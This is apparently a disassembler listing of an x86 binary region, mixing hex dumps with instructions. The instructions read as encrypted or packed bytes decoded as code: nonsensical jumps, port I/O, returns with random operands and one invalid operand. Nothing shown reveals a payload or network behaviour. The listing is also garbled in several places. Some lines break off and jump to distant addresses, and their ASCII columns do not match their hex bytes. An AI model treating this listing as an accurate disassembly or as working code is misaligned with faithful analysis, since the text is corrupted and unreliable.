:00403A28 95 D2 7F DC A2 5F 70 70 9C EF 1E 28 48 60 87 40   ....._pp...(H`.@
:00403A38 65 86 A6 6D 3B 87 A8 1B E9 F2 55 AB EA 71 E4 82   e..m;.....U..q..
:00403A48 DC DA 4D BA A0 1F B1 DD 7D 7D 65 30 00 99 9E 4E   ..M.....}}e0...N
:00403A58 A3 A8 D0 20 6C 1F 32 BE 89 93 36 10 74 17 D6 7F   ... l.2...6.t...
:00403A68 A3 D1 DF 77 5C 4A A3 EC 07 86 DC 49 F1 A0 7B DF   ...w\J.....I..{.
:00403A78 78 F2 28 65 36 DD 7B E6 D5 F0 CC 8C CE D4 30 F9   x.(e6.{.......0.
:00403A88 90 CE 8E 89 1A F6 D2 BC 9E 23 15 5E E6 3F F0 B0   .........#.^.?..
:00403A98 56 37 FA 29 49 B5 3A AE C8 AC 8D 9A 8F D8 87 F0   V7.)I.:.........
:00403AA8 EF F2 C6 4B 97 6E 14 CF DF D3 1E ED 2A AE 87 5A   ...K.n......*..Z
:00403AB8 B0 6F 7F 3D 70 76 39 51 32 31 2B 30 28 B9 73 C8   .o.=pv9Q21+0(.s.
:00403AC8 02 80 27 9D 77 9B 4B C1 FB F6 04 F7 54 E6 35 AC   ..'.w.K.....T.5.
:00403AD8 92 57 0B E2 1A D1 96 1F 54 36 B0 84 A1 BE 1E 39   .W......T6.....9
:00403AE8 5F DE 08 4B 37 0C 00 B6 5A 93 DC 2C E9 4F A8 FF   _..K7...Z..,.O..
:00403AF8 D3 D0 BD A3 10 B7 28 C7 C7 F1 6F 7E 8A 72 4B C0   ......(...o~.rK.
:00403B08 E5 48 45 78 B7 60 94 16 7D A9 5D 11 AE 68 73 AE   .HEx.`..}.]..hs.
:00403B18 98 99 C7 AB B9 77 26 7C D1 DC D5                  .....w&|...

:00403B23 DB819DA164C7            fild dword[ecx+C764A19D]
:00403B29 A5                      movsd
:00403B2A A293C86173              mov byte[7361C893], al
:00403B2F D9A1F7C19156            fldenv 14/28byte[ecx+5691C1F7]
:00403B35 93                      xchg eax, ebx
:00403B36 8AD7                    mov dl, bh
:00403B38 2892B21CDA87            sub byte[edx+87DA1CB2], dl
:00403B3E CC                      int 03
:00403B3F 7765                    ja 00403BA6
:00403B41 AF                      scasd
:00403B42 9F                      lahf
:00403B43 B4F2                    mov ah, -0E
:00403B45 25B2FEA675              and eax, 75A6FEB2
:00403B4A 9F                      lahf
:00403B4B 103F                    adc byte[edi], bh
:00403B4D 49                      dec ecx
:00403B4E F8                      clc
:00403B4F 40                      inc eax
:00403B50 3C3C                    cmp al, 3C
:00403B52 CAF266                  ret 66F2

:00403B55 B9 21 22 2E 05 04 EB 68 8F 1C 68 E9 1A 9C C7 8E   .!"....h..h.....
:00403B65 3E 17 B9 B4 D6 14 20 11 61 37 FB F4 55 45 F2 02   >..... .a7..UE..

:00403B75 8162C37B33F459          and dword[edx-3D], 59F4337B
:00403B7C AD                      lodsd
:00403B7D BAF1C8D469              mov edx, 69D4C8F1
:00403B82 EF                      out port[dx], eax
:00403B83 D3984F1DEAA2            rcr dword[eax+A2EA1D4F], cl
:00403B89 C049A490                ror byte[ecx-5C], -70
:00403B8D 4D                      dec ebp
:00403B8E F64589D9                test byte[ebp-77], -27
:00403B92 FF6B6E                  jmp m16:m32[ebx+6E]

:00403B95 6E 2A D6 A5 52 C1 8B 98 8C F4 A6 45 7A F0 79 5A   n*..R......Ez.yZ
:00403BA5 B3 0D B2 79 9F 3C 76 C1 57 16 50 63 A3 5D 87 AF   ...y.....A4}.
:00403D2A 1F 43 91 4D 32 B3 93 AB D2 EF 9E 24 0B D4 A7 67   .C.M2......$...g
:00403D3A F6 F5 30 08 AB BC 63 12 7D 02 E9                  ..0...c.}..

:00403D45 3D8C0E4A9F              cmp eax, 9F4A0E8C
:00403D4A 6353E8                  arpl word[ebx-18], dx
:00403D4D 76B0                    jbe 00403CFF
:00403D4F 50                      push eax
:00403D50 3AB4EA4E4E9FD2          cmp dh, byte[edx+8*ebp+D29F4E4E]
:00403D57 C3                      ret

:00403D58 FC A7 62 15 DF 6F 8A 98 86 EB EF 6B 10 77 0C 2F   ..b..o.....k.w./
:00403D68 E5 A0 6F B8 08 95 A4 93 2D 4F EC 04 CC 19 AE F4   ..o.....-O......
:00403D78 E6 11 65 4E AA CC 5B 5F 87 CB EC A6 22 32 F0 40   ..eN..[_...."2.@
:00403D88 C4 C7 33 ED D5 BD 03 54 37 8B 1C 06 7E 46 27 64   ..3....T7...~F'd
:00403D98 3A E1 49 1D C4 91 68 7D FF 37 93 87 46 87 3E C5   :.I...h}.7..F.>.
:00403DA8 37 7C 76 5C 1A E1 80 24 4D 22 BD DF 88 DB DF 50   7|v\...$M".....P
:00403DB8 DE 89 7B 32 26 8D 36 6C 1A 6E 12 D6 81 6B 7B 1D   ..{2&.6l.n...k{.
:00403DC8 2F 3E 0D C4 D5 1B B5 91 F0 C7 C0 34 ED 96 64 0F   />.........4..d.
:00403DD8 68 2F 89 35 33 34 56 11 A8 52 32 6B 57 EE 3E EC   h/.534V..R2kW.>.
:00403DE8 63 D8 6D 1A 5C 0C 6B 83 E7 9E 24 F3 22 68 A6 3F   c.m.\.k...$."h.?
:00403DF8 FF 36 6F 64 A6 38 4B 09 65 D5 CA 8B EB E1 E4 81   .6od.8K.e.......
:00403E08 C5 69 A7 C8 96 40 6C 82 FA 4E 27 EA 44 D8 F7 BE   .i...@l..N'.D...
:00403E18 0F 82 EB 7D 11 81 65 AE 94 2A AA EC A9 23 50 20   ...}..e..*...#P 
:00403E28 8F 53 79 B5 2C 3B 85 7B AB FB AA 21 C1 7C E5 0F   .Sy.,;.{...!.|..
:00403E38 47 0A 32 F6 87 AA 87 56 99 A4 E9 99 96 F9 A0 E1   G.2....V........
:00403E48 8B 2E 00 EF 11 D4 24 F6 A5 C5 B4 E9 68 E9 52 13   ......$.....h.R.
:00403E58 F0 94 C9 79 A9 48 F7 87 DE D8 5A 00 F2 CD EC AE   ...y.H....Z.....
:00403E68 D2 30 92 AB 5A 3D 06 D1 1A 1B 54 18 06 3A 7F 65   .0..Z=....T..:.e
:00403E78 31 35 DF B2 6D 9A D6 32 73 57 B5 90 50 26 BE 36   15..m..2sW..P&.6
:00403E88 A3 41 E8 5B CA 51 EF 47 11 93 1F D8 88 A5 DC 01   .A.[.Q.G........
:00403E98 E7 7F F1 25 1B DC 62                              ...%..b

:00403E9F BE63BD6671              mov esi, 7166BD63
:00403EA4 65E501                  in eax, port[01]
:00403EA7 DC42E7                  fadd 64real[edx-19]
:00403EAA C294B3                  ret B394

:00403EAD CE                                                .

:00403EAE C8EF1B3F                enter 1BEF, 3F
:00403EB2 94                      xchg eax, esp
:00403EB3 BC6EBB6BEF              mov esp, EF6BBB6E
:00403EB8 E589                    in eax, port[-77]
:00403EBA AF                      scasd
:00403EBB 0E                      push cs
:00403EBC C02321                  shl byte[ebx], 21
:00403EBF FF6293                  jmp dword[edx-6D]

:00403EC2 4C 1B 2A 22 FC AE EB F4 9E AA 30 D9 F8 0E B5 51   L.*"......0....Q
:00403ED2 5F BC 82 09 69 A5 8F 3B 7A E2 67 D6 A4 20 4E E8   _...i..;z.g.. N.
:00403EE2 D2 EB 64 6F 0C D5 40 C5 5D 51 D7 C5 95 55 65 59   ..do..@.]Q...UeY
:00403EF2 0F ED 14 E4 35 E8 30 5E EE DE 4A 0C D4 E2 58 0C   ....5.0^..J...X.
:00403F02 60 D8 43 6B F0 75 5E A9 A0 7B 06 CF 12 E8 DF 97   `.Ck.u^..{......
:00403F12 13 2E AF E3 B1 6A 66 87 B1 DE A7 A3 DC 42 BB B0   .....jf......B..
:00403F22 0D FF C8 09 4D 5A 62 10 37 9D 35 E1 FB B8 FE B2   ....MZb.7.5.....
:00403F32 9C 0D 6F 3E FF 2A B3 62 26 3B A2 0F 53 EF 86 3C   ..o>.*.b&;..S..<
:00403F42 77 64 A4 A5 F6 46 5D 3D 8E AB E9 02 43 2D 50 6C   wd...F]=....C-Pl
:00403F52 73 BE E9 8D 87 60 C5 DF 86 3E 58 6C 23 90 F0 41   s....`...>Xl#..A
:00403F62 D1 9A D4 BA 38 09 D0 04 A0 A4 DF F9 EB B5 D0 30   ....8..........0
:00403F72 F6 C1 A7 E9 36 2D C1 ED 83 BA E2 61 62 EF B3 54   ....6-.....ab..T
:00403F82 8E C4 02 A3 5F 1B C8 DA 19 AB 43 7B A0 CF FA FD   ...._.....C{....
:00403F92 45 F6 E8 06 A6 FE B9 D3 25 E0 A0 54 8E 19 BB EF   E.......%..T....
:00403FA2 2F 50 18 07 D1 53 B2 16 41 9B 1D 81 AF 14 01 51   /P...S..A......Q
:00403FB2 9C A2 9C DF C3 D1 AD 50 FE 49 A1 44 99 FA A6 A8   .......P.I.D....
:00403FC2 B9 24 20 29 B1 C7 42 6F B4 D3 10 15 E8 A1 C1 E9   .$ )..Bo........
:00403FD2 36 1C 29 F9 29 A0 C7 F9 91 DB 80 CD 6B 9B 59 B4   6.).).......k.Y.
:00403FE2 95 33 71 41 DE C4 0C C4 0D 58 3F 2C DE 3E 7E 1B   .3qA.....X?,.>~.
:00403FF2 B9 C5 5D B2 A0 59 85 AC 72 4D 82 30 F2 9B 81 9D   ..]..Y..rM.0....
:00404002 31 D3 8D BF 63 B5 5F 58 C8 60 52 DC 9A 01 2F 1D   1...c._X.`R.../.
:00404012 63 5C 09 B5 30 17 A4 CA 37 7F 26 EC CB F6 14 F0   c\..0...7.&.....
:00404022 A2 90 9E 80 22 4D B3 F6 EC 01 7A 0B E0 E5 4C E6   ...."M....z...L.
:00404032 FA B5 E9 32 BD 49 7B FB 5E 1F 49 C7 A0 A1 6B 83   ...2.I{.^.I...k.
:00404042 B2 55 D8 93 3F 50 0C F7 55 D6 A0 FA E1 92 E5 10   .U..?P..U.......
:00404052 2D B5 1B D7 B2 DC 56 F7 B8 26 54 F1 4F B3 CC 57   -.....V..&T.O..W
:00404062 54 2D A3 85 2D 96 9B 16 51 52 F7 46 CC 22 9F 9E   T-..-...QR.F."..
:00404072 A8 AA D3 48 66 13 B1 DE 21 A0 6E 46 25 D9 54 6B   ...Hf...!.nF%.Tk
:00404082 51 6A 38 31 C4 B0 7C 44 7D 63 21 F4 92 AE 03 22   Qj81..|D}c!...."
:00404092 C4 89 D3 7B 3C DC FA 7D 32 47 6C 55 04 86 A1 D9   ...{<..}2GlU....
:004040A2 CD 79 DC 39 4D C4 67 E2 94 6F D5 09 24 5D 02 3F   .y.9M.g..o..$].?
:004040B2 87 21 C9 44 A9 6B 9F 44 5F 67 CD CA 25 AA 69 3B   .!.D.k.D_g..%.i;
:004040C2 4C 77 71 33 DE E7 0D 0A 15 11 97 EA E1 0C 82 54   Lwq3...........T
:004040D2 F0 F2 45 C1 B9 9C 1D BC 17 A9 AE 66 18 29 9D 18   ..E........f.)..
:004040E2 FC 38 87 71 A6 CF 31 CC 5F 81 ED 49 7A 4C 20 2C   .8.q..1._..IzL ,
:004040F2 D2 72 9A E9 F4 45 0F D9 CF 32 ED F7 63 4C 61 C1   .r...E...2..cLa.
:00404102 1F 51 3E E9 85 CF 33 D7 55 6F 79 93 C7 70 B6 DF   .Q>...3.Uoy..p..
:00404112 AB C0 AC 7E 4A 6F D6 D0 F0 80 BC 52 B3 F4 99 38   ...~Jo.....R...8
:00404122 41 A0 84 A7 1A BA 95 03 BC 30 08 6B A1 EF 9A 6C   A........0.k...l
:00404132 F3 72 A4 10 75 C8 F9 3C 61 12 63 7B 92 31 8C 37   .r..u....v.s6..N....
:004045F0 EE 90 68 9F FF C7 44 2E 62 3C 61 65 F5 9B 9A FD   ..h...D.bN.f .2
:004047C3 E8 2A 52 61 84 8D 96 17                           .*Ra....

:004047CB FFAE197D83F0            jmp m16:m32[esi+F0837D19]

:004047D1 3D 48 C5 DF AA F6 8E 36 54 0C 79 4B 1B 0C 78 23   =H.....6T.yK..x#
:004047E1 35 41 11 A4 96 24 FA 42 11 D1 81 14 62 4F F6 EB   5A...$.B....bO..
:004047F1 52 33 C8 F7 49 99 A6 6C 52 AB B7 64 11 B4 BB 22   R3..I..lR..d..."
:00404801 98 A0 7E FD 1D 33 1F 14 29 97 66 E9 C0 04 AE E6   ..~..3..).f.....
:00404811 FF D4 57 46 59 37 4E 5B 39 28 1A CB 47 E2 13 34   ..WFY7N[9(..G..4
:00404821 FC 2D 24 D7 3A 97 1C 29 84 A7 69 3F ED B6 7E 81   .-$.:..)..i?..~.
:00404831 47 1C A5 83 7A 87 C9 2B 38 97 85 33 1D A3 F1 0F   G...z..+8..3....
:00404841 AC 63 24 28 B6 B2 08 DA 89 8C 2A F8 A7 35 0F 90   .c$(......*..5..
:00404851 DB 99 1B 3F 64 75 6C C7 82 39 02 19 BB 0C 12 0C   ...?dul..9......
:00404861 E5 01 40 B2 30 3C 13 F2 B3 DF 0A 0D 02 C9 67      ..@.0<........g

:00404870 BE4DF3E0D8              mov esi, D8E0F34D
:00404875 32545A3F                xor dl, byte[edx+2*ebx+3F]
:00404879 FD                      std
:0040487A 5F                      pop edi
:0040487B B9B336A74B              mov ecx, 4BA736B3
:00404880 65B9F6C40958            mov ecx, 5809C4F6
:00404886 41                      inc ecx
:00404887 6F                      outs port[dx], dword
:00404888 65240F                  and al, 0F
:0040488B 05332BA877              add eax, 77A82B33
:00404890 59                      pop ecx
:00404891 780E                    js 004048A1
:00404893 15DC6D30A6              adc eax, A6306DDC
:00404898 C3                      ret

:00404899 EE 18 FE 6B 6F AB 16 3C E8 43 EA 5B 30 B0 3F 30   ...ko..<.C.[0.?0
:004048A9 AC E4 2F 72 9A 48 83 4D 1D 6F C8 A3 FA F9 47 D5   ../r.H.M.o....G.
:004048B9 72 C7 B2 D8 28 6D 6D 78 D2 B9 7B 8B 4B 6A 8C 12   r...(mmx..{.Kj..
:004048C9 BE 5F D9 52 FD 4E F8 95 58 DE A7 96 FB CB 1F BF   ._.R.N..X.......
:004048D9 C0 86 57 E6 D0 A3 3F CF 8D A6 EE BA 9C A0 88 E6   ..W...?.........
:004048E9 B2 A0 20 53 A0 CB 00 43 6B 7B 2B 0E 27 88 3C B6   .. S...Ck{+.'.<.
:004048F9 C1 DE 59 3D 58 22 4F 16 D0 E6 52 4A 73 49 0E 57   ..Y=X"O...RJsI.W
:00404909 BA 08 EE FF 30 FB F4 CB 39 3A 75 94 7A 4A B5 A6   ....0...9:u.zJ..
:00404919 0B EE B2                                          ...

:0040491C C3                      ret

:0040491D 8A 32 C5 57 4E 47 83 F4 3D 3C 1D 31 F7 7C 40 4A   .2.WNG..=<.1.|@J
:0040492D A4 4B B6 6B 11 D8 C4 C4 4D 4F F2 78 C8 1A C1 8C   .K.k....MO.x....
:0040493D F0 9B D8 21 C5 F0 17 12 B3 B4 A5 5B C7 A7 01 ED   ...!.......[....
:0040494D 6F EE D6 AA 14 F6 EC C9 DE 3E 95 AF 84 83 CE C1   o........>......
:0040495D D4 31 E2 6E C9 19 0D EB 94 32 28 E1 AC F6 6E 4D   .1.n.....2(...nM
:0040496D 2D D4 0C A3 DC DA 66 35 E4 8A F7 BE 3A 06 1B 3C   -.....f5....:..<
:0040497D A9 A5 81 D8 17 9C 01 A7 43 2F 1C 4D 8A C0 67 4D   ........C/.M..gM
:0040498D B4 24 42 3A FC 5D 1B 23 47 BC 12 1A CF 00 7D 85   .$B:.].#G.....}.
:0040499D 63 A5 EA EB 74 7F 56 95 40 A8 AB 7D 97 42 41 F5   c...t.V.@..}.BA.
:004049AD 1D 75 87 AF C8 6E 70 DB 50 45 3D 75 5F 74 CB AC   .u...np.PE=u_t..
:004049BD 35 A5 A8 14 BC 74 CB 81 B5 61 D2 44 B8 8F E7 5D   5....t...a.D...]
:004049CD DA FF 14 08 CF 9F ED 2E 9E EA BA 83 CD 5B 34 90   .............[4.
:004049DD 63 B1 88 8B C4 A4 0D BB 39 A5 45 F3 D2 D8 E8 F6   c.......9.E.....

:004049ED C3                      ret

:004049EE A9 01 0A 0E DF E5 80 B2 EC DC 47 D1 53 E4 FA 1E   ..........G.S...
:004049FE 07 DD 74 31 F2 B1 18 A1 2A FD E8 43 2D E5 E8 2F   ..t1....*..C-../
:00404A0E B3 FC 1D 48 F8 82 97 DF                           ...H....

:00404A16 C2BDAD                  ret ADBD

:00404A19 13 EA 69 5B E8 E7 82 E0 E5 8E 68 30 62 BD 75 9E   ..i[......h0b.u.
:00404A29 1A B3 94 F6 5A 65 69 8F 80 F3 4C 0F 03 66 81 9E   ....Zei...L..f..
:00404A39 2F FD C0 61 C0 C8 78 3A AD C1 3A D0 E2 DE 70 40   /..a..x:..:...p@
:00404A49 C6 F8 C1 8D 9F BC 0B 97 C2 15 F7 7E 40 CC E9 16   ...........~@...

:00404A59 55                      push ebp
:00404A5A 5D                      pop ebp
:00404A5B 59                      pop ecx
:00404A5C D950DE                  fst 32real[eax-22]
:00404A5F 1C4A                    sbb al, 4A
:00404A61 AF                      scasd
:00404A62 5C                      pop esp
:00404A63 B6E4                    mov dh, -1C
:00404A65 46                      inc esi
:00404A66 727A                    jc 00404AE2
:00404A68 083F                    or byte[edi], bh
:00404A6A 4A                      dec edx
:00404A6B 43                      inc ebx
:00404A6C 631C81                  arpl word[ecx+4*eax], bx
:00404A6F 8D30                    lea esi, dword[eax]
:00404A71 D7                      xlatb
:00404A72 D11D819023D2            rcr dword[D2239081], 1
:00404A78 2EEA2F286E4FE9FA        jmp far 282F:FAE94F6E

:00404A80 6B 86 93 9F 9C 41 B3 4D F3 9D 7A EA E8 A6 05 D5   k....A.M..z.....
:00404A90 AA 8F 66 19 E9 25 B0 2C 5D EC 1A 1B 3D 80 5B D0   ..f..%.,]...=.[.
:00404AA0 3A 75 AF 60 D9 AE D7 56 B7 9D 4B 2B 45 19 91 BF   :u.`...V..K+E...
:00404AB0 67 46 33 CF DF BC 11 8A 52 6E 52 A8 54 F8 8B C4   gF3.....RnR.T...
:00404AC0 2E BA 33 AF DE 71 13 91 A8 77 BA DA B8 82 76 CD   ..3..q...w....v.
:00404AD0 F4 C8 2C 51 07 FE 11 0E 6F 07 84 23 D5 6C 31 1E   ..,Q....o..#.l1.
:00404AE0 68 BE 52 93 67 1E 93 71 2E BD 1D 80 46 9B D9 35   h.R.g..q....F..5
:00404AF0 DD 80 BF 4B FC 5C AD 33 D4 AF 48 6E 20 60 60 B0   ...K.\.3..Hn ``.
:00404B00 6C CE EC 87 36 42 86 85 09 F7 ED 5E A7 B7 8E 8D   l...6B.....^....
:00404B10 08 09 2A B6 18 C6                                 ..*...

:00404B16 C201E3                  ret E301

:00404B19 EF 6A 34 29 31 12 DF 83 75 C7 05 E4 66 41 14 98   .j4)1...u...fA..
:00404B29 F9 B1 A4 11 86 CC EB 30 A0 57 8E 56 46 B5 5D 37   .......0.W.VF.]7
:00404B39 CB DB AB BB CA 8B 21 B7 91 E4 37 45 D3 82 DF BA   ......!...7E....
:00404B49 DE 08 85 EB D4 41 7A 00 06 45 71 5A 56 B7 39 5A   .....Az..EqZV.9Z
:00404B59 51 D9 20 8C B4 61 82 68 AF 3C 2B A9 D4 95 C8 B1   Q. ..a.h.<+.....
:00404B69 BF 65 19 D5 ED 38 85 84 8A E6 B3 31 77 99 DD 43   .e...8.....1w..C
:00404B79 E7 90 8E 38 F6 90 20 E0 3D 64 27 A4 75 ED 0F D9   ...8.. .=d'.u...
:00404B89 0C 0E D0 8C A8 20 E3 55 94 C6 E1 3E 51 C7 D5 E2   ..... .U...>Q...
:00404B99 54 74 CB 0A                                       Tt..

:00404B9D C3                      ret

:00404B9E C1 CB 25 EC 63 8A 23 8C                           ..%.c.#.

:00404BA6 0FAC49F1C7              shrd dword[ecx-0F], ecx, -39
:00404BAB 2A28                    sub ch, byte[eax]
:00404BAD 147A                    adc al, 7A
:00404BAF 9F                      lahf
:00404BB0 FB                      sti
:00404BB1 AB                      stosd
:00404BB2 FA                      cli
:00404BB3 7B7E                    jpo 00404C33
:00404BB5 350039FE95              xor eax, 95FE3900
:00404BBA 5C                      pop esp
:00404BBB C2EC02                  ret 02EC

:00404BBE 9A 61 07 92 44 8A FD 27 8C B3 2B BB D6 77 26 D6   .a..D..'..+..w&.
:00404BCE 8E 22 21 DE 9E D5 6F D7 08 83 73 C1 F1 A6 82      ."!...o...s....

:00404BDD B2A4                    mov dl, -5C
:00404BDF 0321                    add esp, dword[ecx]
:00404BE1 96                      xchg eax, esi
:00404BE2 C2D770                  ret 70D7

:00404BE5 BF AB 3E 89 0F 30 36 AA DB E6 06 D3 71 B5 E2 D3   ..>..06.....q...
:00404BF5 8A 44 4D E1 4B 5A 5F C9 F8 B4 6D AD C8 57 CA 53   .DM.KZ_...m..W.S
:00404C05 1D 9B B4 7F 17 EF B0 6F 1D A6 B5 A3 F4 A2 19 E1   .......o........
:00404C15 B8 5A 00 A3 7A 50 5E FD AF 3F B0 0E 56 66 86 35   .Z..zP^..?..Vf.5
:00404C25 7F 6E C0 25 80 12 D1 E3 14 C4 22 D8 7C C2 A4 87   .n.%......".|...
:00404C35 FF 24 48 29 C0 8C 77 CA 57 FD A1 64 8A D4 46 D1   .$H)..w.W..d..F.
:00404C45 24 B3 81 0C F5 09 A4 F6 66 DF 5F A5 AA 21 B7 A2   $.......f._..!..
:00404C55 96 5A 36 B0 94 BB 3E 8D 1E B9 6E 60 90 DF 3C 6A   .Z6...>...n`..q.
:00404C95 41 BB 98 D2 D6 4D 71 B4 33 DB 9D F5 C8 75 4F 18   A....Mq.3....uO.
:00404CA5 6A 54 35 79 A1 95 73 CC 8C 45 E9 D4 13 1E 80 3F   jT5y..s..E.....?
:00404CB5 F8 29 18 80 55 B1 EA BD B1 55 BE EE EA 8B 8C BB   .)..U....U......
:00404CC5 6F AA AA 80 A2 CE 83 18 6A 0F 67 6F 1E 4C BE 47   o.......j.go.L.G
:00404CD5 45 1F D0 7D A0 13 0B 1E 07 03 0A DB EA B9 7B E5   E..}..........{.
:00404CE5 53 D2 68 F6 2E B8 39 50 1E 5C 20 8A CF EA AB EB   S.h...9P.\ .....
:00404CF5 05 AD 29 A0 25 A0 C3 16 1D 36 A6 84 3B 24 86 72   ..).%....6..;$.r
:00404D05 CE 36 5C D3 91 22 96 07 CB DE 55 13 55 D8 BB 35   .6\.."....U.U..5
:00404D15 1C 11 A4 3B A1 CE F3 C2 CD 01 BE DB 33 85 1C 43   ...;........3..C
:00404D25 EA 6E 9F 78 9B 96 A2 61 B8 3C 80 50 29 90 71 E3   .n.x...a.<.P).q.
:00404D35 34                                                4

:00404D36 EBC7                    jmp 00404CFF
:00404D38 DE70D7                  fidiv 16int[eax-29]
:00404D3B C151EDAB                rcl dword[ecx-13], -55
:00404D3F 30D5                    xor ch, dl
:00404D41 C2565A                  ret 5A56

:00404D44 81 59 4C EA 2C E5 34 13 C5 32 0E BE 0C 37 DE 1A   .YL.,.4..2...7..
:00404D54 F8 E7 C7 04 10 9F 08 1F 50 C4 7F 37 B2 76 84 45   ........P..7.v.E
:00404D64 1E 97 08 4C E6 46 D6 97 55 E8 3B 5E 4B E7 33 51   ...L.F..U.;^K.3Q
:00404D74 BD C4 0F 25 7C 44 53 DA B0 36 A7 1C AF 3B AB 7A   ...%|DS..6...;.z
:00404D84 68 0C A1 AE 3C 7E 3A 6F 16 D5 96 4E EB 70 76 3F   h...<~:o...N.pv?
:00404D94 E1 9F 38 6D D2 C5 77 A5 14 75 0F 73 CB F8 38 91   ..8m..w..u.s..8.
:00404DA4 5A 51 6F E8 0C A4 13 67                           ZQo....g

:00404DAC 66A9962F                test ax, 2F96
:00404DB0 0B19                    or ebx, dword[ecx]
:00404DB2 B507                    mov ch, 07
:00404DB4 30F5                    xor ch, dh
:00404DB6 9B                      wait
:00404DB7 2A25F0B7F3AD            sub ah, byte[ADF3B7F0]
:00404DBD F6EC                    imul ah
:00404DBF 6C                      ins byte, port[dx]
:00404DC0 8E4B9E                  mov cs, word[ebx-62]
:00404DC3 C48F9695829D            les es:ecx, m16:m32[edi+9D829596]
:00404DC9 A25BF38E45              mov byte[458EF35B], al
:00404DCE B4DD                    mov ah, -23
:00404DD0 638320524F92            arpl word[ebx+924F5220], ax
:00404DD6 5B                      pop ebx
:00404DD7 98                      cbw
:00404DD8 FC                      cld
:00404DD9 9F                      lahf
:00404DDA C5926DB4E5B6            lds es:edx, m16:m32[edx+B6E5B46D]
:00404DE0 96                      xchg eax, esi
:00404DE1 C2D67C                  ret 7CD6

:00404DE4 AB EF 7C 25 B9 DD 6D AF 0C 49 F8 C6 95            ..|%..m..I...

:00404DF1 6695                    xchg ax, bp
:00404DF3 5C                      pop esp
:00404DF4 8B3B                    mov edi, dword[ebx]
:00404DF6 E5FE                    in eax, port[-02]
:00404DF8 57                      push edi
---------
:00404DF9 2AE3                    sub ah, bl
:00404DFB 2322                    and esp, dword[edx]
:00404DFD D7                      xlatb
:00404DFE 0B73EB                  or esi, dword[ebx-15]
:00404E01 6F                      outs port[dx], dword
:00404E02 D826                    fsub 32real[esi]
---------
:00404E04 B1A3                    mov cl, -5D
:00404E06 E269                    loop 00404E71
:00404E08 EC                      in al, port[dx]
:00404E09 8EF0                    mov ##, ax
:00404E0B 2AFE                    sub bh, dh
:00404E0D 7895                    js 00404DA4
:00404E0F 31E1                    xor ecx, esp
:00404E11 A7                      cmpsd
:00404E12 46                      inc esi
:00404E13 17                      pop ss
:00404E14 10AD83FF8571            adc byte[ebp+7185FF83], ch
:00404E1A 7E77                    jle 00404E93
:00404E1C 42                      inc edx
:00404E1D E7FC                    out port[-04], eax
:00404E1F 06                      push es
:00404E20 70E2                    jo 00404E04
:00404E22 7BD5                    jpo 00404DF9
:00404E24 CC                      int 03
:00404E25 47                      inc edi
:00404E26 0E                      push cs
:00404E27 7264                    jc 00404E8D
:00404E29 45                      inc ebp
:00404E2A 96                      xchg eax, esi
:00404E2B 695304F7DB292E          imul edx, dword[ebx+04], 2E29DBF7
:00404E32 71B8                    jno 00404DEC
:00404E34 E359                    jecxz 00404E8F
:00404E36 CA9ADE                  ret DE9A

:00404E39 FF 07 93 5B 12 5F BB 47 6A C8 31 40 9A 43 25 B3   ...[._.Gj.1@.C%.
:00404E49 02 96 F5 C8 B6 62 01 46 7B 0A AE 82 A4 20 50 2A   .....b.F{.... P*
:00404E59 E4 B4 D2 76 59 FE EE B5 29 44 DA B8 F3 CB 90 D7   ...vY...)D......
:00404E69 1E AC D0 84 00 B5 4E 44 CD 43 9C 1E BF            ......ND.C...

:00404E76 683005EFFE              push FEEF0530
:00404E7B 67A1E342                mov eax, dword[42E3]
:00404E7F 7AF4                    jpe 00404E75
:00404E81 5F                      pop edi
:00404E82 FF67D6                  jmp dword[edi-2A]

:00404E85 82 E6 72 03 9D 10                                 ..r...

:00404E8B C3                      ret

:00404E8C 6B 01 F6 31 B3 86 24 D7 0D B1 B2 DE 64 D8 C9 8D   k..1..$.....d...
:00404E9C 8F A3 BF 48 FE 80 C5 2F 16 AA 39 7D 29 26 A1 D3   ...H.../..9})&..
:00404EAC BD F4 D4 96 43 81 5B 3A CF 06 8D BC CC 74 42 79   ....C.[:.....tBy
:00404EBC FE AE 6E D8 F4 A5 8D A0 F1 26 DE 12 E7 D1 0A 12   ..n......&......
:00404ECC 2E 96 E5 96 95 CC 82 7A 78 49 F5 F3 38 CB F9 8B   .......zxI..8...
:00404EDC 2A D6                                             *.

:00404EDE 58                      pop eax
:00404EDF 865669                  xchg byte[esi+69], dl
:00404EE2 AD                      lodsd
:00404EE3 A4                      movsb
:00404EE4 C2ECE6                  ret E6EC

:00404EE7 EE C6 05 94 4E 47 AC A8 1B A2 3B CD 17 CB 46 4A   ....NG....;...FJ
:00404EF7 3C 3A 52 C5 0E C6 81 F1 32 A6 28 4D E1 68 7F D7   <:R.....2.(M.h..
:00404F07 56 03 84 F7 FB 60 41 0A 51 0E D6 51 39 60 64 B6   V....`A.Q..Q9`d.
:00404F17 AC 1F 1B A0 3A 53 5B F5 F6 B3 53 57 82 08 8D 09   ....:S[...SW....
:00404F27 15 96 40 7A C0 59 3A 13 92 1E F9 41 96 44 F4 8B   ..@z.Y:....A.D..
:00404F37 A9 B6 EF C1 BE 75 35 9C 13 F6 96 84 2F 42 43 56   .....u5...../BCV
:00404F47 B2 02 8A 8B 9F E2 D3 7A BF A9 91 81 81 1E E5 95   .......z........
:00404F57 7B 91 38 16 D1 CD 83 3D 6F 3A F5 5C AA D4 3C BD   {.8....=o:.\..<.
:00404F67 64 88 9B F9 D4 25 59 62 92 22 E6 28 36 03 40 4A   d....%Yb.".(6.@J
:00404F77 0A ED 31 9D 54 AC 89 4F EF 6D DB 2A 3C 1A 47 2B   ..1.T..O.m.*<.G+
:00404F87 07 0F 2A 36 C5 B1 D0 CB D8                        ..*6.....

:00404F90 AC                      lodsb
:00404F91 B66E                    mov dh, 6E
:00404F93 D116                    rcl dword[esi], 1
:00404F95 028EEC5893FD            add cl, byte[esi+FD9358EC]
:00404F9B 96                      xchg eax, esi
:00404F9C 9E                      sahf
:00404F9D 85C9                    test ecx, ecx
:00404F9F F0                      lock
:00404FA0 90                      nop
:00404FA1 48                      dec eax
:00404FA2 3ABB8A7A2CEC            cmp bh, byte[ebx+EC2C7A8A]
:00404FA8 D517                    aad 
:00404FAA B529                    mov ch, 29
:00404FAC 28556F                  sub byte[ebp+6F], dl
:00404FAF 28CE                    sub dh, cl
:00404FB1 9AEFE4DECD2E90          call far E4EF:902ECDDE
:00404FB8 60                      pushad
:00404FB9 A6                      cmpsb
:00404FBA 1E                      push ds
:00404FBB AA                      stosb
:00404FBC 27                      daa
:00404FBD CA4378                  ret 7843

:00404FC0 34 5D ED 13 11 FB 6E 46 74 65 78 74 02 00 00 00   4]....nFtext....
